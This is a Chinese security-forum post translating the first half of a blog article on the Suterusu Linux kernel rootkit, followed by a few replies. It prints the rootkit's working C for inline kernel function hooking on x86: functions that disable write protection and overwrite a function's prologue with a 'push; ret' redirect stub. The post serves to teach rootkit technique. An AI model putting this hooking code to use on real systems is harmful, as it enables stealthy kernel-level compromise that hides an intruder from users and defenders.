Select Browser Mobile | Continue

Silic Group Froum Archive - Silic Security

 Forgot Password?
 Join Us
Search
Show: 1442|Reply: 5

[翻译] Suterusu Rootkit:x86与ARM的内联内核函数Hooking(上)

[Copy URL]
Posted 2016-2-15 19:55:17 | Show all replies |Read Mode
本帖最后由 solve 于 2016-2-19 15:57 编辑
title:Suterusu Rootkit:Inline kernel Function Hookingon x86and ARM
author:Michael Coppola
link:http://poppopret.org/2013/01/07/ ... ing-on-x86-and-arm/

介绍     
        几个月前,我添加了一个新的项目。(https://github.com/mncoppola/suterusu)         通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Linux内核Rootkit以及什么能让他们进行挂钩(tick)。我进行了一些搜索主要是在http://packetstormsecurity.org/和其他一些Blog里找归档,但是让我吃惊的是现在公开的Linux Rootkit并没有多少。最突出的成果围绕在adore-ng(至少从表面来看在2007年前都没有更新),和一些杂项,比如suckit,kbeast和Phalanx。内核的变化每年都有,所以我希望能有一些更新鲜的干货。
         所以,就像大多数项目一样,我说“Screw it”,然后打开Vim。我会写一个我自己的,可以在最近的系统与架构上工作的Rootkit;我也会研究他们如何完成这些行为。我想正式地向您介绍Suterusu,我个人面向x86与ARM平台上的Linux 2.6及3.x的内核Rootkit项目。
        在技术,设计与实现上有很多方法,但我会从一些基础开始着手。Suterusu目前显示的是一个大的特征数组(当然还会有更多升级),但它可能更适用于这些单独的博客文章。
Suterusu中的函数Hooking
         大多数Rootkit在传统上利用在系统调用表中换出函数指针进行系统调用,但是这玩意儿已经能被智能Rootkit监测发现了。不走寻常路,Suterusu采用了不同的技术,修改目标函数以执行转移到置换程序进行Hooking。这可以通过检查下列四种函数来发现。
                  hijack_start()
                  hijack_pause()
                  hijack_resume()
                  hijack_stop()
这些函数通过与sym-hook结构的链表来跟踪挂钩。
  1. struct sym_hook {
  2.     void *addr;
  3.     unsigned char o_code[HIJACK_SIZE];
  4.     unsigned char n_code[HIJACK_SIZE];
  5.     struct list_head list;
  6. };


  7. LIST_HEAD(hooked_syms);
Copy
要充分认识到hooking进程,我们得分析点代码。

x86上的函数Hooking
       绝大部分的加权都由以作为实参指针的目标程序与“hook-with”例程的hijiack_start函数包揽。
  1. void hijack_start ( void *target, void *new )
  2. {
  3.     struct sym_hook *sa;
  4.     unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
  5.     unsigned long o_cr0;


  6.     // push $addr; ret
  7.     memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
  8.     *(unsigned long *)&n_code[1] = (unsigned long)new;


  9.     memcpy(o_code, target, HIJACK_SIZE);


  10.     o_cr0 = disable_wp();
  11.     memcpy(target, n_code, HIJACK_SIZE);
  12.     restore_wp(o_cr0);


  13.     sa = kmalloc(sizeof(*sa), GFP_KERNEL);
  14.     if ( ! sa )
  15.         return;


  16.     sa->addr = target;
  17.     memcpy(sa->o_code, o_code, HIJACK_SIZE);
  18.     memcpy(sa->n_code, n_code, HIJACK_SIZE);


  19.     list_add(&sa->list, &hooked_syms);
  20. }
Copy
       一种小型的shellcode的缓冲区被初始化为“push dword 0;ret”系列,其中被推入的值(pushed value)被用hook_with函数的指针修补(patch)。HIJACK_SIZE的字节数(相当于shellcode的大小)被从目标函数中复制,序言和被修补的shellcode则进行覆盖。在这一点上,所有调用目标函数的函数都将被重定向到我们的hook_with函数。
        最后一步,将目标函数的指针,原始代码及挂钩代码存储到挂钩的链表中,从而完成该操作。其余劫持函数在此链表上操作。
        hijiack_pause将临时卸载所需挂钩:
  1. void hijack_pause ( void *target )
  2. {
  3.     struct sym_hook *sa;


  4.     list_for_each_entry ( sa, &hooked_syms, list )
  5.         if ( target == sa->addr )
  6.         {
  7.             unsigned long o_cr0 = disable_wp();
  8.             memcpy(target, sa->o_code, HIJACK_SIZE);
  9.             restore_wp(o_cr0);
  10.         }
  11. }
Copy
      hijiack_resume又重新安装所需挂钩:
  1. void hijack_resume ( void *target )
  2. {
  3.     struct sym_hook *sa;


  4.     list_for_each_entry ( sa, &hooked_syms, list )
  5.         if ( target == sa->addr )
  6.         {
  7.             unsigned long o_cr0 = disable_wp();
  8.             memcpy(target, sa->n_code, HIJACK_SIZE);
  9.             restore_wp(o_cr0);
  10.         }
  11. }
Copy
       hijiack_stop()卸载挂钩并把它从链表中删除:
  1. void hijack_stop ( void *target )
  2. {
  3.     struct sym_hook *sa;


  4.     list_for_each_entry ( sa, &hooked_syms, list )
  5.         if ( target == sa->addr )
  6.         {
  7.             unsigned long o_cr0 = disable_wp();
  8.             memcpy(target, sa->o_code, HIJACK_SIZE);
  9.             restore_wp(o_cr0);


  10.             list_del(&sa->list);
  11.             kfree(sa);
  12.             break;
  13.         }
  14. }
Copy


下半篇

 Author| Posted 2016-2-15 21:30:01 | Show all replies
才翻译了半篇。累死宝宝了。
syc0d The user has been deleted
Posted 2016-2-15 21:35:08 | Show all replies
你倒是翻完它啊
suy The user has been deleted
Posted 2016-2-15 21:45:36 | Show all replies
solve 发表于 2016-2-15 21:30
才翻译了半篇。累死宝宝了。

天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为....
suy The user has been deleted
Posted 2016-2-15 22:13:12 | Show all replies
事实上,我没看懂,但是看到几个知识点,或者说几个陌生字眼,问问度娘找找google,还是稍微有点收获的,起码知道了有这个东西的存在。
黑暗天空120 The user has been deleted
Posted 2016-2-16 11:30:32 | Show all replies
赞赞赞,楼主辛苦了,虽然不是很懂,多谢分享
You need to login before reply! Login | Join Us

Credit Rules of This Forum

Close

公告Privious /1 Next

小黑屋|手机版|Archiver|Silic Security

GMT+8, 2019-10-16 11:10

© 2001-2014 Silic Corp.

Quick Reply Top Return List